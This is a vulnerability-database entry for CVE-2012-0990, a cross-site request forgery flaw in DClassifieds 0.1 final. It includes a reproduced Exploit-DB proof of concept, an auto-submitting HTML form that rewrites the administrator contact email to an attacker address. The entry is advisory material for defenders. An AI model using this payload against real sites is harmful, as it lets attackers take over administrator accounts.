CVE-2012-0990

low

Published 2012-02-07 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

4.5

Description

Cross-site request forgery (CSRF) vulnerability in admin/settings/update in DClassifieds 0.1 final allows remote attackers to hijack the authentication of administrators for requests that modify account settings such as the administrator password or email via certain Settings[] parameters.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36627 webapps php verified text · 1 KB

High-Tech Bridge SA · 2012-01-25

DClassifieds 0.1 final - Cross-Site Request Forgery

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/51671/info

DClassifieds is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

DClassifieds 0.1 final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">

<input type="hidden" name="Settings[setting_show_in_admin]" value="1">

<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

Application impact

Vendor	Product	Versions	Fixed
dclassifieds	dclassifieds	`0.1`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.